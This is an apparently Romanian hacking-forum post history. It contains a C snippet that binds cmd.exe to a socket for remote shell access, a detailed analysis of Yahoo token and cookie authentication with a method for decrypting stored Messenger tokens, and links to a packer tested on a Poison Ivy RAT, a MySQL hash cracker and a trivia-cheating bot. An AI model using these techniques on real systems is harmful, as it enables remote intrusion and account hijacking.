Jump to content

SlicK

Active Members
  • Posts

    350
  • Joined

  • Last visited

  • Days Won

    5

Everything posted by SlicK

  1. Totusi se pare ca o meritai pentru ca deasupra topicului cu " Cqkiller 2.0 si 2.0.1" era "1.1 Ce sunt virusii","Troieni","Cum va protejati de malware" etc...
  2. Te sfatuiesc sa scoti calcu din priza ca probabil ai luat un virusache
  3. Bullcrap. Asta e cea mai mare aberatie pe care am citit-o de mult timp. Sfarsitul lumii/timpului se tot anunta de vreo 2000 de ani incoace,de preoti,prevazatori,oameni de stiinta si fanatici religiosi insa dupa cum se vede nici unul nu a avut dreptate, ma intreb de ce 2012 ar fi diferit de oricare alt an prevazut pana acum? Schimari climatice se petrec de milioane de ani(vezi glaciatiunea dintre sec 15 si sec 19). Cat despre cresterea "vitezei timpului" sau cresterea "frecventei vibratorii" a planetei...daca ziua are doar 16 ore de ce pana acum nu apune soarele la 7AM si rasare la 8PM? sau daca afecteaza toata materia de ce am mai resimti noi o "criza de timp"? Iar daca modificarea sesnsului de rotatie al planetei nu i-a afectat pe cei care au scris "textele stravechi" nu vad de ce ne-ar afecta pe noi. La fel polii magentici isi schimba pozitia si se inverseaza de mii de ani.(pana la urma la cat timp? la 13.000 de ani sau la 250.000 de ani?) si sincer nu prea ma intereseaza daca busola va arata sudul in loc de nord, o sa vopsesc cealalta jumatate a acului. Modificarea genomului de la 2 la 12 spirale? no thanks, imi sunt suficiente 2 maini si 2 picioare. Nu vreau sa-ti distrug sperantele dar "Ascensiunea" de care vorbesti este doar un mit aparut pe la 1800, in biblie nu vei gasi nici o referire la ea. Cat despre religie... E doar ce mai puternica unealta de manipulare a maselor existenta de cateva mii de ani incoace. "A human is intelligent but people are just a bunch of dumb sheep"
  4. la prima vedere xeeber merge in felul urmator: -Intai verifica "opi.yahoo.com", daca userul apare online atunci e chiar online si nu mai continua -Daca apare offline atunci logheaza un bot si trimite un pachet astfel: Service=YAHOO_SERVICE_PICTURE_UPDATE (0xC1) "1":"id bot" "5":"userul" "206":"2" -Daca primeste un reply de genul: "4":"userul" "5":"id bot" "13":"1" atunci userul e invizibil (acest reply e trimis indiferent daca e available sau invizibil atata timp cat userul este online) -Daca primeste un pachet "66":"1" atunci userul e offline
  5. Cel mai simplu se face cu CreateProcess iar cele 3 handleuri std de la STARTUPINFO(input,output si error) sa fie setate spre socket. In felul asta cmd.exe va primi input-ul si va trimite output-ul dinspre si spre socket. Exemplu: // "sock" este socketul creeat intre client si server fie direct, fie reverse STARTUPINFO SI={sizeof(SI)}; PROCESS_INFORMATION PI; SI.dwFlags=STARTF_USESTDHANDLES; SI.hStdError=(HANDLE)sock; SI.hStdInput=(HANDLE)sock; SI.hStdOutput=(HANDLE)sock; CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI); WaitForSingleObject(PI.hProcess,INFINITE);
  6. Bravo moldy insa nu cred ca e bine cum ai facut tu, respectiv sa afisezi optiunile si numarul optiunii corecte pentru ca exista intrebari care au foarte multe variante posibile de raspuns cum ar fi "care din urmatoarele este o rasa de caini", "cine a fost prim ministru al romaniei" etc etc
  7. Poate crezi tu ca problema e rezolvata insa crede-ma ca nu e nimic deosebit fata de acum 2 saptamani, in plus intrebarile se pot lua mai repede decat le pot ei adauga. Si sa nu aducem vorba de penibil... poate ai uitat cand cereai programul cand era clar ca nu va fi public. Nu stiu unde ai vazut tu ca s-a laudat cineva cu erorile altora, e o diferenta intre lauda si a arata ca exista probleme, nu-ti face griji o sa intelegi cand vei fi mare. Incearca sa nu mai fi asa arogant si vei primi ajutor pentru problemele tale.
  8. Nu lucrez nicaieri sunt student in good old RO
  9. @drealecs, cred sunt in jur de 60-80k de intrebari dar presupun ca in jur de 20-30k sunt din acelea cu rating scazut pt ca eu cu 50k in db am procentaj de corectitudine in jur de 90%. Cu 6 boti 24/24 am strans 50k in 3 zile @VirginMary, galbeni? 0 pentru ca botul dadea raspunsurile gresite @go_sword, botul in perl si executabilul in c++
  10. Intrebarile variantele de raspuns si raspunsurile corecte sunt tinute cel mai probabil intr-o baza de date si pentru strangerea lor eu am facut un bot care juca singur cateva sute/mii de jocuri pe zi salvand intrebarile si raspusurile la ele intr-o baza de date proprie, dupa aceea a fost trivial sa fac un program care sa intercepteze intrebarea trimisa in timp ce te joci, sa o caute in baza de date si daca o gaseste sa afiseze raspunsul corect.
  11. Inainte de a aprea filmuletul cu programelul meu cei de la conquiztador nu s-au obosit sa ascunda secretKey'ul era in plain ceva de genul "2.87574e+009" care desi in decimal era "2875740000" avea valoarea reala "2875741179". Dupa aceea s-au gandit sa mai ascunda putin lucrurile adica au pus "2.875741e+009" doar ca dupa cum a observat si drealecs valoarea aceea nu mai conteaza pentru ca valoarea reala este luata din "_level8.PRELOADERTEXT.text", daca mai sapam putin observam ca swf'urile sunt incarcate pe mai multe "nivele", level0 fiind "loader_3_cq", si level8 fiind "syscode" deci "_level8.PRELOADERTEXT.text" este valoarea default a unui textbox hidden in "syscode.swf"(frame 1/text 13) fapt care face bruteforce'ul secretKey'lui inutil deoarece valoarea hexadecimala este exacta si nu floating point
  12. Algoritmul a ramas acelasi doar constanta aceea "secretKey" care in algoirtmul lui VirginMary era "2875741179" s-a schimbat. Si eu m-am lovit de aceeasi problema cu valoarea floating point si am facut la fel, am decodat stringul incrementand secretKey'ul(incepand de la valoarea din swf) pana am ajuns la plaintextul corect pe care il stiam bineinteles Btw eu asa am implementat conversia caracterelor unicode: char UNCTABLE[]= "AAAAAA_CEEEEIIII_NOOOOO_OUUUUY__aaaaaa_ceeeeiiii_nooooo_ouuuuy_y" "AaAaAaCcCcCcCcDdDdEeEeEeEeEeGgGgGgGgHhHhIiIiIiIiIi__JjKkkLlLlLlL" "lLlNnNnNnn__OoOoOo__RrRrRrSsSsSsSsTtTtTtUuUuUuUuUuUuWwYyYZzZzZz_"; char CorrectUnicode(int c1,int c2) { int nRes=((c1&0x1F)<<6)|(c2&0x3F); if(nRes>=0xC0 && nRes<0x180) { return(UNCTABLE[nRes-0xC0]); } return('_'); } iar "str_to_hex()" poate fi inlocuit mai simplu de functia "strtoul()".
  13. In situatia de fata winpcap nu e necesar, e suficient un socket raw setat sa asculte global pe adaptor cu WSAIoctl, SIO_RCVALL
  14. done....
  15. Cine dracu e Rajesh Sethumadhavan asta ca nici macar nu am auzit de el da sa-i mai fur si ideile fara sa dau credite :evil: (poate imi da si mie cineva linkul cu situ lui) catalyne inainte sa-ti dai cu parearea te sfatuiesc sa te mai documentezi putin, "soiul ala" de decoder pe care il stii tu nu are absolut nici o legatura cu algorimul yahoo64. In alta ordine de iei tu, in totala necunostinta de cauza, ma acuzi pe mine ca as fi copiat informatiile din diverse locuri si "le-am pus cap la cap" intr-un articol? fuck this! Incearca sa nu-ti mai bagi nasul unde nu-ti fierbe oala ca ti-l arzi, mai bine du-te si joaca-te in liniste cu proxomicacaturile tale.
  16. Despre Yahoo! Autor: SlicK [slick@rstcenter.com] In primul rand vreau sa-mi cer scuze pentru inevitabilele greseli de ortografie deoarece sunt multe subiecte pe care vreau sa le acopar in acest articol si nu am timp sa mai si verific ce am scris deja. Urmatorul articol este rezultatul a vreo doua saptamani de cautari, teste, munca si nervi si va acoperi cateva aspecte ale Yahoo'ului cred eu destul de interesante pe care poate ca unii dintre voi le cunoasteti deja, scopul fiind sa clarifice cateva "mituri" despre Yahoo si sa raspunda la unele din intrebarile pe care poate vi le-ati pus vreodata. PARTEA I. Algoritmul de codare "yahoo64" Acest algoritm este folosit de Yahoo oriunde trebuie transformat un sir de caractere neprintabile intr-un sir de caractere printabil. Se numeste "codare" si nu "criptare" deoarece nu ofera absolut nici o protectie pentru sirul de caractere de codat. Fara a intra in aspecte criptografice trebuie metionat ca yahoo64 este foarte asemanator cu base64 insa are un charset extins. Charsetul yahoo64 este urmatorul "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._" yahoo64 are cateva caracteristici distincte care trebuie mentionate: > toate caracterele din stringul codat fac parte din charsetul de mai sus > lungimea stringului este multiplu de 4 > in functie de lungimea stringului initial, la sfarsitul stringului criptat ultimele caractere pot fi "-" sau "--". Pentru mai multe detalii studiati cele doua functii php(pentru codare si decodare) de la sfarsitul acestui articol. PARTEA II. Analiza tokenului Yahoo Din cate am observat pana acum tokenul Yahoo este o insumare a userului si parolei de Yahoo, unic pentru fiecare username in parte dar care se modifica (doar partial) la schimbarea parolei. In esenta posesia acest token exprima ca posesorul este fie userul fie o entitate care are permisiunea userului de a actiona in numele acestuia pe serverele Yahoo. Un user isi poate obtine acest token prin accesarea linkului urmator: [url]https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=[/url][USERNAME]&passwd=[PASSWORD] unde [uSERNAME] si [PASSWORD] sunt o combinatie username/parola Yahoo VALIDE. Utilitatea acestui token este ca poate oferi oricand un COOKIE valid de Yahoo. [url]https://login.yahoo.com/config/pwtoken_login?src=ymsgr&token=[/url][TOKEN] Un exemplu de raspuns la un reqest catre "https://login.yahoo.com/config/pwtoken_get" poate fi acesta: 0 ymsgr=AGG6e0diD9m.3D4YlFPVcdBT1wFXKSBWP0Hl.gyQKd.qec8- partnerid=KSBWP0Hl.gyQKd.qec8- "ymsgr" este tokenul despre care am vorbit mai devreme si dupa cum se observa "partnerid" face parte din acest token (la sfarsit). Acest "partnerid" este unic pentru fiecare utilizator in parte si nu se modifica la schimbarea parolei, iar lungimea acestuia variaza in functie de lungimea username'ului. Dupa cum se poate observa lungimea tokenului este de 48 si se termina cu un "-" deci este evindent codat cu yahoo64. Dupa decodare obtinem urmatorul sir de caractere (unde fiecare 2 caractere reprezinta valoarea hexadecimala a unui singur caracter din tokenul decodat): 00 61 BA 7B 47 62 0F D9 BE DC 3E 18 94 53 D5 71 D0 53 D7 01 57 29 20 56 3F 41 E5 FA 0C 90 29 DF AA 79 CF La toate tokenurile pe care le-am vazut pana acum primul caracter este intotdeauna "0x00" Urmatoarele 4 caractere reprezinta timestampul (numarul de secunde care au trecut din 1-1-1970) la care userul a fost creeat sau cand parola a fost schimbata, doar ca timestampul este inversat deci pentru exemplul de mai sus timestampul va fi 0x477BBA61 (decimal 1199290977) adica "Wed, 2 Jan 2008 16:22:57 GMT" Daca decodam "partnerid" vom obtine urmatorul string: 29 20 56 3F 41 E5 FA 0C 90 29 DF AA 79 CF care dupa cum sa observa sunt ultimele 14 caractere de la sfarsitul tokenului. Daca din token eliminam primul caracter (00) timestampul (61 BA 7B 47) si parnerid'ul decodat vom ramane cu 62 0F D9 BE DC 3E 18 94 53 D5 71 D0 53 D7 01 57 Acest string rezultat are o lungime de 16 caractere ceea ce duce la concluzia ca este un hash MD5 (md5() produce un hash de 128 de biti adica 16 caractere intre 0x00 si 0xFF, a nu se confunda cu md5_hex() care produce un string de 32 de caractere reprezentand valorile hexadecimale ale celor 16 caractere produse de md5() ) La schimbarea parolei se modifica doar timestampul si acest hash MD5 ceea ce ma face sa cred ca din stringul initial (care produce hashul) face parte fie timestampul fie parola fie ambele. Trebuie sa mentionez pentru cei care vor face teste ca acest token trebuie pastrat SECRET deoarece dupa cum am spus si mai sus cunoasterea tokenului poate duce la compromiterea contului (parola NU trebuie sa fie cunoscuta pentru a obtine un set de cookiuri) PARTEA III. Yahoo! Messenger "Remember my ID & password" Incepand cu versiunea 7.x.x.x Yahoo! Messnger NU mai memoreaza parola atunci cand optiunea "Remember my ID & password" este bifata. In schimb este memorat tokenul despre care am vorbit mai sus deoarece dupa cum o sa arat mai tarziu tokenul este suficient pentru logarea cu succes la serviciul messenger. Pentru memorare tokenul este criptat si stocat in registrii windows in cheia HKEY_CURRENT_USER\Software\Yahoo\Pager\ETS Userul este de asemenea salvat deoarece este necesar pentru decriptare HKEY_CURRENT_USER\Software\Yahoo\Pager\Yahoo! User ID Nu voi da un exemplu de astfel de string deoarece desi algoritmul de criptare imi este deocamdata necunoscut poate fi totusi decriptat si extras un token folosind functii din "YahooMessenger.exe". Analiza pe care am facut-o unui string ETS este destul de sumara: tokenul este criptat folosind o cheie formata din "MBCS sucks"+USERNAME. Stringul rezultat fiind apoi codat cu yahoo64 si stocat in registrii la cheia ETS. Pentru crackeri decriptarea se face in "YahooMessenger.exe" (8.1.0.421) la offsetul 0x004862AA unde functia locala de la offsetul 0x006FCEC0 primeste urmatorii 9 parametrii 1. Stringul ETS 2. Lungimea stringului ETS 3. Pointer catre tokenul decriptat 4. Pointer catre lungimea tokenului 5. Cheia de decriptare "MBCS sucks[uSERNAME]" 6. Lungimea cheii de decriptare 7. 0x00 8. 0x00 9. 0x00 PARTEA IV. Autentificarea YMSGR v15 In continuare voi presupune ca sunteti deja familiarizati cu protocolul Yahoo! Messenger(formarea pachetelor si parametrii unui pachet) Este de mentionat ca din motive de compatibilitate YMSGR15 accepta si logarea clasica user/password dar mult mai important este ca Yahoo! Messnger foloseste si logarea cu COOKIE. Pentru o logare cu succes Yahoo! Messnger face urmatorii pasi: -Daca optiunea "Remember my ID & password" este bifata decripteaza stringul ETS si obtine un token, daca nu va folosi userul si parola introduse pentru a face un request la "https://login.yahoo.com/config/pwtoken_get" pentru a obtine tokenul -Dupa conectarea la unul din serverele yahoo trimite un pachet VERIFY (0x4C) -Daca primeste un raspuns valid VERIFY de la server incepe procedura de autentificare -Trimite un pachet AUTH (0x57) cu parametrii: "1" - USERNAME -Primeste un pachet AUTHRESP (0x54) din care extrage valoarea parametrului "94" (CHALLENGE) -Avand un token valid al userului va face un request catre "https://login.yahoo.com/config/pwtoken_login" pentru a obtine valorile "Y" si "T" ale cookieului precum si valorea "crumb" (CRUMB) -Creeaza un string (STRING307) astfel yahoo64(md5(CRUMB+CHALLENGE)) -Trimite un pachet AUTHRESP (0x54) cu parametrii: "277" - parametrul Y "278" - parametrul T "307" - STRING307 "0" - USERNAME "2" - USRNAME "2" - "1" "1" - USERNAME "244" - un numar random (ex. "2097087") "98" - "us" "135" - versiunea clientului (ex. "8.1.0.421") "148" - "-120" -Daca totul e in regula userul este autentificat iar serverul trimite buddy listul si alte informatii cum ar mailuri noi, add buddy request etc. PARTEA V. Analiza si explicatia cookiurilor Yahoo Odata cu autentificarea la un serviciu Yahoo userul primeste cookiurile "Y" si "T" deci analiza mea a fost concentrata doar asupra acestor 2 cookiuri. Cookieul Y poate fi configurat sa expire dupa o valoare intre 15 minute si 24 de ore dar cookieul T expira de obicei la inchiderea browserului sau la logout. Pentru serviciile cu securitate scazuta cum ar fi pagina "My Yahoo" cookiul Y este suficient dar pentru cele mai importante cum ar fi mail,calendar etc.. cookieul T este obligatoriu. Dupa cum probabil ati observat un cookie Yahoo este format din perechi "parametru=valoare". In continuare voi analiza parametrii care formeaza fiecare cookie si voi incercat sa prezent o explicatie pentru prezenta sau scopul lor. -Cookieul Y: Exemplu: Y=v=1&n=9mioklmar8tku&l=glagla/o&p=m2509oh012000000&r=in&lg=en-US&intl=us&np=1 Contine usernameul,un ID unic si cateva informatii demografice. De obicei acesta ramane neschimbat pentru un anumit user modificandu-se doar ID'ul unic (la schimbarea parolei) si informatiile demografice (la schimbarea adresei, limba utilizata, etc...) Dupa cum se observa este format din parametrii v,n,l,p,r,lg,intl si np dar nu toti sunt necesari pentru autentificarea cu succes al unui user. Parametrul "n" este un ID unic intern al utilizatorului (se modifica doar la schimbarea parolei) care este comparat cu o valoare interna yahoo la anumite requesturi pentru obtinerea de informatii sau pentru expirarea automata a tuturor cookiurilor vechi odata cu schimbarea parolei. Parametrul "l" este usernameul codat cu un algoritm simplu de substitutie unde fiecare caracter din user are un corespondent intr-un alt string dupa cum urmeaza: PLAINTXT=klmnopqrstuvwxyz0123457896abcdefghij._ ENCODED=abcdefghijklmnopqrstuvxyzw0123456789._ Astfel pentru cookiul de mai sus username'ul este "qvkqvk" Parametrul "p" contine diverse informatii despre utilizator cum ar fi sex, data nasterii, tara, etc. Restul parametrilor contin de asemenea diverse informatii despre limba, anumite setari, etc. -Cookieul T: Exemplu: T=z=Cr7eHBCxQfHBJkF/Bqb4dnUMzIwBjVPNDQzNDFOME8-&a=QAE&sk=DAAk3Lb2EiyEEM&ks=EAA3i37q0zwFhuCnF6cflaKHg--~A&d=c2wBTkRVM0FUSTRNek0wTXpZNU56Zy0BYQFRQUUBenoBQ3I3ZUhCZ1dBAXRpcAFzNkpUZEM- Contine un timestamp si o semnatura digitala simetrica. Acesta se modifica la modificarea timpului(oricate cookiuri generate intr-o singura secunda sunt identice) Este format din parametrii z,a,sk,ks si d dar pentru autentificare la serviciile web sunt necesari doar parametrii sk,ks si d. Pentru autentificare Yahoo! Messenger "z" este insa obligatoriu. Parametrul "z" exista pentru compatibilitate cu servicii mai vechi dar este de asemenea in stransa legatura cu valoarea CRUMB obtinuta pentru autentificarea Yahoo! Messenger. Acesta este un string criptat cu yahoo64 dar decodarea acestuia nu prezinta nici o informatie evidenta) Parametrul "a" (de obicei are valoarea "QAE") contine diverse flaguri pentru expirare si protectia minorilor. Parametrul "sk" reprezinta sesiunea (session key) si este calculat din username, ID unic si timestamp precum si dintr-un string cunoscut doar pe serverele Yahoo (Yahoo shared secret) Parametrul "ks" reprezinta (din observatiile mele) un hash al parolei utilizatorului sau un alt string care inlocuieste parola deoarece lipsa acestui este urmata de obligatia introducerii parolei(pe serverele web Yahoo). Daca ignoram primele 3 caractere care nu se schimba ("DAA") si ultimele 2 caractere care de asemenea nu se schimba ("~A") obtinem un string codat yahoo64 reprezentand cel mai probabil un hash MD5 (stringul decodat are 16 caractere) cel mai probabil de asemenea generat folosind un shared secret. Parametrul "d" contine sesiunea utilizatorului si cateva informatii pentru compatibilitate. Acesta este un string codat yahoo64. Dupa decodarea valorii "d" din exemplul de mai sus obtinem urmatorul string: (unde [sEP] este caracterul hexadecimal 0x01) sl[SEP]NDU3ATI4MzM0MzY5Nzg-[SEP]a[SEP]QAE[SEP]zz[SEP]Cr7eHBgWA[SEP]tip[SEP]s6JTdC Se poate observa ca acest string este de asemenea o insiruire de perechi "parametru=valoare" astfel: sl=NDU3ATI4MzM0MzY5Nzg-&a=QAE&zz=Cr7eHBgWA&tip=s6JTdC Valoarea parametrului "sl" este de asemenea un string criptat yahoo64: 457[SEP]2833436978 (sau 457=2833436978) Acest numar este unic pentru fiecare username si nu se modifica la schimbarea parolei Parametrul "a" este acelasi cu parametrul "a" din cookiul "T" Parametrul "zz" reprezinta in esenta un contor de timp. Valorile pe care le poate lua un caracter facand parte din charsetul yahoo64 cu singura diferenta ca "_" este inlocuit de "/". Cea mai buna analogie pe care o pot face incercand sa explic acest parametru este aceea cu un kilometraj de masina, Adica fiecare caracter(de la stanga la dreapta) poate fi asemanata cu o rotita cu valorile din charset. atunci cand primul caracter termina o rotatie completa prin toate pozitiile, al doilea caracter creste cu o pozitie continuand in aclasi mod pana la al 6-lea caracter. Stiind ca primul caracter creste cu o pozitie pe secunda se poate afla timestampul la care un anumit cookie a fost generat. (cand userul s-a logat serviciul respectiv) Parametrul "tip" este acelasi pentru toti utilizatorii Yahoo dar se schimba periodic (nu stiu intervalul exact) Cam atat cu acest articol si felicitari pentru cei care au avut rabdarea sa-l citeasca pana la capat. Astept pareri sau adaugiri cu privire la aceste subiecte. Algoritmul de codare yahoo64: <?php //yahoo64 encode/decode functions by SlicK [slick@rstcenter.com] function yahoo64_encode($source) { $yahoo64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._"; $limit=strlen($source)-(strlen($source)%3); $dest=""; for($i=0;$i<$limit;$i+=3) { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[((ord($source[$i])<<4)&0x30) | (ord($source[$i+1])>>4)]; $dest.=$yahoo64[((ord($source[$i+1])<<2)&0x3C) | (ord($source[$i+2])>>6)]; $dest.=$yahoo64[ord($source[$i+2])&0x3F]; } switch(strlen($source)-$limit) { case 1: { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[(ord($source[$i])<<4)&0x30]; $dest.='--'; } break; case 2: { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[((ord($source[$i])<<4)&0x30) | (ord($source[$i+1])>>4)]; $dest.=$yahoo64[((ord($source[$i+1])<<2)&0x3c)]; $dest.='-'; } break; } return($dest); } function Index($string,$chr) { for($i=0;$i<64;$i++) { if($string[$i]==$chr) { return($i); } } return(-1); } function yahoo64_decode($source) { $yahoo64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._"; $len=strlen($source); if($source[$len-1]=='-') { $plus=2; } if($source[$len-2]=='-') { $plus=1; } if($plus>0) { $len-=4; }; $dest=""; for($i=0;$i<$len;$i+=4) { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $chr3=Index($yahoo64,$source[$i+2]); $chr4=Index($yahoo64,$source[$i+3]); $dest.=chr(($chr1<<2)|($chr2>>4)); $dest.=chr((($chr2&0xF)<<4)|($chr3>>2)); $dest.=chr((($chr3&0x3)<<6)|($chr4&0x3F)); } switch($plus) { case 1: { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $dest.=chr(($chr1<<2)|($chr2>>4)); } break; case 2: { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $chr3=Index($yahoo64,$source[$i+2]); $dest.=chr(($chr1<<2)|($chr2>>4)); $dest.=chr((($chr2&0xF)<<4)|($chr3>>2)); } break; } return($dest); } //usage example $string="any string"; print("Original string=$string \n"); $encoded=yahoo64_encode($string); print("Encoded string=$encoded \n"); $decoded=yahoo64_decode($encoded); print("Decoded string=$decoded \n"); ?>
  17. moubik vezi ca ai pus versiunea veche! phpnet.us are hotlinking dezactivat deci pentru download copy linkul si paste in browser...
  18. Mi-e lene sa mai scriu o descriere asa ca downloadati-l si vedeti Toti vectorii au fost testati pe 10/12/2007 si voi incerca sa fac un update cat de curand si pentru alte domenii. Download: http://slick.phpnet.us/GWS.rar Screenshot:
  19. Acest program crackuieste hashurile MySQL pentru versiunile mai mici de 4.1 (cele de 16 caractere) Optiunea brutefroce va incerca parole formate din toate caracterele ASCII printabile (intre 33 si 127) la o viteza destul de mare, aproximativ 40 milioane de hashuri pe secunda pe un server la 1.8 GHz Windows: http://www.rootb0x.net/sqlc.rar Linux :http://www.rootb0x.net/sqlc.tgz
  20. Pentru toti cei care se chinuie cu "cookie editoare" Download: http://www.rootb0x.net/Fci-v3.rar
  21. Am imbunatatit compresia (tot LZO dar alt algoritm) iar stubul este facut in assembly si continut in executabil. Download: http://www.rootb0x.net/Pepsi-v2.rar
  22. Asta e prima mea incercare la un packer, contructia e originala dar un pic cam din topor zic eu Ratio-ul nu e extraordinar(compresia LZO si stub mare) dar de exemplu puteti compresa fisierul cu UPX inainte(e singurul pt care garantez ca functioneaza) Are cateva limitari: fisierul trebuie sa aiba ImageBase'ul la 0x400000 si SizeoOfImage nu trebuie sa depaseasca 0x1FF000 (just try) iar uneori nu selecteaza iconita corecta pentru fisierul rezultat dar poate fi schimbata cu ResHack Download: http://www.rootb0x.net/Pepsi-v1.rar Avand in vedere ca e prima versiune ma astept la niste buguri asa ca sfatul meu e sa testati fiserul dupa packuire Server de Poison Ivy inainte si dupa packuire:
  23. Din curiozitate am incercat sa vad care e cel mai mic executabil in Windows. Dupa ceva munca si modificand manual headerele PE si intercalandu-le am ajuns la 97 de octeti Programul creeaza cateva executabile exemplificatoare download:http://rootb0x.com/SmallPE.rar A trebuit sa fac un program aditional deoarece codul propriuzis este un shellcode si trebuie completate offseturile API'urilor Well...tell me what you think
  24. Download: http://rootb0x.com/pvtd22.rar Poate de data chiar o sa fi fericit neme
  25. Dupa cum am scris si acolo IAT Patching functioneaza doar cand executabilul importa functia dintr-un dll iar numele functiilor din dll'uri le poti afla cu "DumpBin" de exemplu. Utilizarile sunt extrem de multe pentru ca pe langa faptul ca poti modifica valoarea returnata primesti si parametrii pe care programul ii paseaza functiei.
×
×
  • Create New...